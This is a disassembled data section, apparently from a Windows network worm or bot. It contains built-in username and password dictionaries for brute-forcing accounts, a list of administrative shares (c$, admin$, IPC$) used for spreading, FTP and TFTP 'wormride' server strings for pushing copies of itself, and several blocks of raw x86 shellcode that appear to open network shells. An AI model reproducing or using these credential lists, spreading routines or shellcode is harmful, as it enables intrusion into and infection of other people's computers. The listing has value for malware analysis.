dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aGuest ; "guest"
dd offset aNone ; "none"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aGod ; "god"
dd offset aDomain ; "domain"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aData ; "data"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aMain ; "main"
dd offset aLan_0 ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aOwner ; "owner"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dd offset aC_0 ; "c$"
dd offset aD ; "d$"
dd offset aE_0 ; "e$"
dd offset aCShared ; "c$\\shared"
dd offset aDShared ; "d$\\shared"
dd offset aEShared ; "e$\\shared"
dd offset aCWinnt ; "c$\\winnt"
dd offset aCWindows ; "c$\\windows"
dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
dd offset aCWindowsSystem ; "c$\\windows\\system32"
dd offset aAdminSystem32 ; "Admin$\\system32"
dd offset aAdmin_0 ; "admin$"
dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
dd offset aPrint ; "print$"
dd offset aIpc ; "IPC$"
dd 0
dd offset byte_41DE30
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aA_1 ; "a"
dd offset aAb ; "ab"
dd offset aAbc ; "abc"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aDba ; "dba"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1_0 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset aWork ; "work"
dd offset aDeadline ; "deadline"
dd offset aPayday ; "payday"
dd offset aSecret ; "secret"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset aTest ; "test"
dd offset aGuest ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aComputer ; "computer"
dd offset aUnix_0 ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aNull ; "null"
dd offset aTemp ; "temp"
dd offset aTemp123 ; "temp123"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aSex ; "sex"
dd offset aLetmein ; "letmein"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_1 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWwwadmin ; "wwwadmin"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin_0 ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aMoney ; "money"
dd offset aLove ; "love"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_0 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan_0 ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aOwner ; "owner"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
aWinpass db 'winpass',0 ; DATA XREF: .data:0041BF5Co
aBlank db 'blank',0 ; DATA XREF: .data:0041BF58o
align 4
aXp_0 db 'xp',0 ; DATA XREF: .data:0041BF4Co
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:0041BF48o
align 10h
aHp db 'hp',0 ; DATA XREF: .data:0041BF44o
align 4
aOrainstall db 'orainstall',0 ; DATA XREF: .data:0041BF28o
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0041BF24o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .data:0041BF18o
align 4
aDb2 db 'db2',0 ; DATA XREF: .data:0041BF14o
aDb1 db 'db1',0 ; DATA XREF: .data:0041BF10o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0041BF0Co
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0041BF04o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0041BF00o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .data:0041BEFCo
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0041BEF0o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .data:0041BEECo
align 4
aHello db 'hello',0 ; DATA XREF: .data:0041BEE4o
align 10h
aHell db 'hell',0 ; DATA XREF: .data:0041BEE0o
align 4
aLove db 'love',0 ; DATA XREF: .data:0041BEDCo
align 10h
aMoney db 'money',0 ; DATA XREF: .data:0041BED8o
align 4
aSlut db 'slut',0 ; DATA XREF: .data:0041BECCo
align 10h
aBitch db 'bitch',0 ; DATA XREF: .data:0041BEC8o
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:0041BEC4o
align 10h
aExchange db 'exchange',0 ; DATA XREF: .data:0041BEC0o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:0041BEB4o
align 4
aLogin_0 db 'login',0 ; DATA XREF: .data:0041BEB0o
align 10h
aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co
aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o
aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o
aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o
aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co
aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o
align 10h
aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o
align 4
aOem db 'oem',0 ; DATA XREF: .data:0041BE18o
aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o
aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo
; .data:0041BED0o
aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo
aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o
align 4
aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o
aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo
align 4
aNull db 'null',0 ; DATA XREF: .data:0041BDD8o
align 4
aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o
aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o
align 4
aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o
align 10h
aTest db 'test',0 ; DATA XREF: .data:0041BDA8o
align 4
a2005 db '2005',0 ; DATA XREF: .data:0041BDA4o
align 10h
a2004 db '2004',0 ; DATA XREF: .data:0041BDA0o
align 4
a2001 db '2001',0 ; DATA XREF: .data:0041BD94o
align 10h
aSecret db 'secret',0 ; DATA XREF: .data:0041BD8Co
align 4
aPayday db 'payday',0 ; DATA XREF: .data:0041BD88o
align 10h
aDeadline db 'deadline',0 ; DATA XREF: .data:0041BD84o
align 4
aWork db 'work',0 ; DATA XREF: .data:0041BD80o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .data:0041BD7Co
align 10h
a123456789 db '123456789',0 ; DATA XREF: .data:0041BD78o
align 4
a12345678 db '12345678',0 ; DATA XREF: .data:0041BD74o
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:0041BD70o
a123456 db '123456',0 ; DATA XREF: .data:0041BD6Co
align 4
a12345 db '12345',0 ; DATA XREF: .data:0041BD68o
align 10h
a1234 db '1234',0 ; DATA XREF: .data:0041BD64o
align 4
a123 db '123',0 ; DATA XREF: .data:0041BD60o
a12 db '12',0 ; DATA XREF: .data:0041BD5Co
align 10h
a1_0: ; DATA XREF: .data:0041BD58o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .data:0041BD54o
aPwd db 'pwd',0 ; DATA XREF: .data:0041BD50o
aPass_0 db 'pass',0 ; DATA XREF: .data:0041BD4Co
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .data:0041BD48o
align 10h
aDba db 'dba',0 ; DATA XREF: .data:0041BD44o
aPasswd db 'passwd',0 ; DATA XREF: .data:0041BD40o
align 4
aPassword db 'password',0 ; DATA XREF: .data:0041BD3Co
; .data:0041D790o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .data:0041BD38o
align 4
aAbc db 'abc',0 ; DATA XREF: .data:0041BD34o
aAb db 'ab',0 ; DATA XREF: .data:0041BD30o
align 4
aA_1: ; DATA XREF: .data:0041BD2Co
unicode 0, <a>,0
aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o
align 4
aPrint db 'print$',0 ; DATA XREF: .data:0041BD00o
align 10h
aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0
; DATA XREF: .data:0041BCFCo
aAdmin_0 db 'admin$',0 ; DATA XREF: .data:0041BCF8o
align 4
aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: .data:0041BCF4o
aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o
aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: .data:0041BCECo
align 10h
aCWindows db 'c$\windows',0 ; DATA XREF: .data:0041BCE8o
align 4
aCWinnt db 'c$\winnt',0 ; DATA XREF: .data:0041BCE4o
align 4
aEShared db 'e$\shared',0 ; DATA XREF: .data:0041BCE0o
align 4
aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo
align 10h
aCShared db 'c$\shared',0 ; DATA XREF: .data:0041BCD8o
align 4
aE_0 db 'e$',0 ; DATA XREF: .data:0041BCD4o
align 10h
aD db 'd$',0 ; DATA XREF: .data:0041BCD0o
align 4
aC_0 db 'c$',0 ; DATA XREF: .data:0041BCCCo
align 4
aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o
; .data:0041BF7Co
align 10h
aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o
; .data:0041BF78o
aOwner db 'owner',0 ; DATA XREF: .data:0041BCBCo
; .data:0041BF74o
align 10h
aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o
; .data:0041BF70o
aIntranet db 'intranet',0 ; DATA XREF: .data:0041BCB4o
; .data:0041BF6Co
align 4
aLan_0 db 'lan',0 ; DATA XREF: .data:0041BCACo
; .data:0041BF64o
aMain db 'main',0 ; DATA XREF: sub_416AC5+5o
; .text:00416AECo ...
align 10h
aOffice db 'office',0 ; DATA XREF: .data:0041BCA4o
; .data:0041BF54o
align 4
aControl db 'control',0 ; DATA XREF: .data:0041BCA0o
; .data:0041BF50o
aSiemens db 'siemens',0 ; DATA XREF: .data:0041BC9Co
; .data:0041BF40o
aCompaq db 'compaq',0 ; DATA XREF: .data:0041BC98o
; .data:0041BF3Co
align 10h
aDell db 'dell',0 ; DATA XREF: .data:0041BC94o
; .data:0041BF38o
align 4
aCisco db 'cisco',0 ; DATA XREF: .data:0041BC90o
; .data:0041BF34o
align 10h
aIbm db 'ibm',0 ; DATA XREF: .data:0041BC8Co
; .data:0041BF30o
aOracle db 'oracle',0 ; DATA XREF: .data:0041BC88o
; .data:0041BF2Co
align 4
aSql db 'sql',0 ; DATA XREF: .data:0041BC84o
; .data:0041BF20o
aSa db 'sa',0 ; DATA XREF: .data:0041BC80o
; .data:0041BF1Co
align 4
aData db 'data',0 ; DATA XREF: .data:0041BC7Co
; .data:0041BF08o
align 4
aAccess db 'access',0 ; DATA XREF: .data:0041BC78o
; .data:0041BEF8o
align 4
aDatabase db 'database',0 ; DATA XREF: .data:0041BC74o
; .data:0041BEF4o
align 10h
aDomain db 'domain',0 ; DATA XREF: .data:0041BC70o
; .data:0041BEE8o
align 4
aGod db 'god',0 ; DATA XREF: .data:0041BC6Co
; .data:0041BED4o
aBackup db 'backup',0 ; DATA XREF: .data:0041BC68o
; .data:0041BEBCo
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:0041BC64o
; .data:0041BEB8o
align 10h
aMary db 'mary',0 ; DATA XREF: .data:0041BC60o
; .data:0041BEACo
align 4
aKatie db 'katie',0 ; DATA XREF: .data:0041BC5Co
; .data:0041BEA8o
align 10h
aKate db 'kate',0 ; DATA XREF: .data:0041BC54o
; .data:0041BEA0o
align 4
aGeorge db 'george',0 ; DATA XREF: .data:0041BC50o
; .data:0041BE9Co
align 10h
aEric db 'eric',0 ; DATA XREF: .data:0041BC4Co
; .data:0041BE98o
align 4
aNone db 'none',0 ; DATA XREF: .data:0041BC48o
; .data:0041BDB0o
align 10h
aGuest db 'guest',0 ; DATA XREF: .data:0041BC44o
; .data:0041BDACo
align 4
aChris db 'chris',0 ; DATA XREF: .data:0041BC40o
; .data:0041BE94o
align 10h
aIan db 'ian',0 ; DATA XREF: .data:0041BC3Co
; .data:0041BE90o
aNeil db 'neil',0 ; DATA XREF: .data:0041BC38o
; .data:0041BE8Co
align 4
aLee db 'lee',0 ; DATA XREF: .data:0041BC34o
; .data:0041BE88o
aBrian db 'brian',0 ; DATA XREF: .data:0041BC30o
; .data:0041BE84o
align 4
aSusan db 'susan',0 ; DATA XREF: .data:0041BC28o
; .data:0041BE7Co
align 10h
aSue db 'sue',0 ; DATA XREF: .data:0041BC24o
; .data:0041BE78o
aSam db 'sam',0 ; DATA XREF: .data:0041BC20o
; .data:0041BE74o
aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co
; .data:0041BE70o
align 10h
aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o
; .data:0041BC2Co ...
align 4
aJohn db 'john',0 ; DATA XREF: .data:0041BC14o
; .data:0041BE68o
align 10h
aMike db 'mike',0 ; DATA XREF: .data:0041BC10o
; .data:0041BE64o
align 4
aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co
; .data:0041BE60o
align 10h
aFred db 'fred',0 ; DATA XREF: .data:0041BC08o
; .data:0041BE5Co
align 4
aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o
; .data:0041BE58o
aJen db 'jen',0 ; DATA XREF: .data:0041BC00o
; .data:0041BE54o
aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo
; .data:0041BC58o ...
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o
; .data:0041BE24o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o
; .data:0041BE1Co
aUser_1 db 'user',0 ; DATA XREF: .data:0041BBF0o
; .data:0041BE14o
align 10h
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo
; .data:0041BE10o
align 4
aHome db 'home',0 ; DATA XREF: .data:0041BBE8o
; .data:0041BE0Co
align 4
aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o
; .data:0041BCB0o ...
align 10h
aWww db 'www',0 ; DATA XREF: .data:0041BBE0o
; .data:0041BDF4o
aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo
; .data:0041BDF0o
aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o
; .data:0041BDD4o
align 10h
aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o
; .data:0041BDD0o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo
; .data:0041BDC0o
align 10h
aUnix_0 db 'unix',0 ; DATA XREF: .data:0041BBC8o
; .data:0041BDBCo
align 4
aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o
; .data:0041BDB8o
align 4
aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o
; .data:0041BD28o
aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo
; .data:0041BD24o
align 10h
aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o
; .data:0041BD20o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o
; .data:0041BD1Co
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o
; .data:0041BD18o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo
; .data:0041BD14o
align 4
aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o
; .data:0041BD10o
align 4
a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo
a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o
dword_41C514 dd 135A78h align 10h
unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
aU_TransferToSC db '- %u. Transfer to %s complete.',0
aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o
dword_41C54C dd 157728h dd 2 dup(0)
a226 db '226 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+6F7o
; sub_41113B+7AAo
aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
align 4
a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o
; sub_41113B+751o
dword_41C5DC dd 146AF8h dd 2 dup(0)
a213U db '213 %u',0Dh,0Ah,0 ; DATA XREF: sub_41113B+56Do
align 4
dword_41C5F4 dd 1227B0h align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
align 4
dword_41C614 dd 0F6578h align 10h
a425 db '425 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+3A3o
dword_41C628 dd 0FED08h dd 2 dup(0)
a200 db '200 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+34Do
; sub_41113B+4A6o
dword_41C63C dd 128230h dd 2 dup(0)
a257 db '257 "/" -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+2F7o
dword_41C654 dd 1F738h dd 0
a211 db '211 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+2A1o
dword_41C664 dd 1232B8h align 10h
a215 db '215 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+24Bo
dword_41C678 dd 124AF8h dd 2 dup(0)
a230 db '230 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+1E1o
dword_41C68C dd 0FECD8h dd 2 dup(0)
a331 db '331 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+181o
dword_41C6A0 dd 163AE8h dd 2 dup(0)
dword_41C6AC dd 0A0D20h ; sub_41113B+115o ...
a220 db '220 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+13o
a230_0 db '230',0 ; DATA XREF: sub_411A09+193o
aPass1 db 'PASS 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09+11Do
align 4
a331_0 db '331',0 ; DATA XREF: sub_411A09+F9o
aUser1 db 'USER 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09:loc_411A8Ao
align 4
a220_0 db '220',0 ; DATA XREF: sub_411A09+63o
unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aRunningFtpWorm db '- Running FTP wormride thread',0
align 4
a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo
align 10h
aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724 dd 4000500h, 7868746Bh, 0unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0
align 10h
aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o
align 4
dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_411DC5+367o
aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o
; sub_411DC5+345o
align 4
unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aRunningTftpWor db '- Running TFTP wormride thread',0
aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
align 4
dword_41C7C8 dd 0B915EBh, 81000000h, 0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h
; DATA XREF: sub_4125DF+50o
dd 0FFFFFFE6h, 0
dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_4124A0+CBo
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
dd 0E5FFh
dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_4124A0+8Co
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h
dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
dd 0
dd 0E5FFh
dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_4124A0+36o
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h
dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h
dd 0BFEA758Bh, 0
dd 0E5FFh
dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h
; DATA XREF: sub_412720+71o
dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh
dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h
dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0)
dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh
dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h
dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh
dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h
dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh
dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch
db 0
byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr
; sub_4125DF+E4w
align 4
dword_41CB98 dd 4113E68Bh ; sub_4125DF+75w
align 10h
off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r
dd offset aBg ; "ÓÞƒ"
dd 0
dd offset dword_41CC2C
dd offset aOa ; "×׎€"
align 8
dd offset dword_41CC08
dd offset aDvi ; "ÓÖ„‚©"
dd 0
dd offset dword_41CBE8
dd offset aPa ; "ÚÖ€"
dd 4 dup(0)
aPa db 'ÚÖ€',0 ; DATA XREF: .data:0041CBC8o
; .data:0041DA90o
align 8
dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; .data:0041DA8Co
aDvi db 'ÓÖ„‚©',0 ; DATA XREF: .data:0041CBBCo
; .data:0041DA84o
align 8
dword_41CC08 dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0)
; DATA XREF: .data:0041CBB8o
